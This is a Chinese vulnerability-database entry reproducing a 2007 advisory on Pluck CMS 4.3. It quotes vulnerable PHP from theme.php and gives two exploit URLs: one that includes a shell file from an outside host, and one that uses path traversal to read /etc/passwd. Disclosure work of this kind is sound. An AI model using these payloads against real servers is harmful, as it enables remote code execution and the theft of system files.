Pluck 4.3 themes.php Remote File Inclusion and disclosure

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052926 漏洞类型
发布时间 2007-08-08 更新时间 2007-08-08
CVE编号 CVE-2007-4181
CVE-2007-4180
CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2007080040
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
__________________

Aria-Security Team 
__________________

Pluck 4.3 Remote File Inclusion
Vendor: http://www.pluck-cms.org/

/path/data/inc/theme.php

if Register_global was set as ON then we can use the $dir variable for RFI

(is_file($dir."/".$file))
               $files[]=$file;
           else
               $dirs[]=$dir."/".$file;           
       }
 	}
   if($dirs) {

foreach ($dirs as $dir) {
       	  include ("$dir/theme.php");

http://example.com/path/data/inc/theme.php?dir=http://site/shell.ext?

-----------------------------------------------------

fputs($file, "<?php $themepref = "$cont"; ?>");

if Register_global was set as ON then we can use the $file variable for disclosure.

example:
http://example.com/path/data/inc/theme.php?file=../../../../etc/passwd (DEPENDS on server)

Credits: Aria-Security Team
http://aria-security.net
http://outlaw.aria-security.info [PERSONAL BLOG]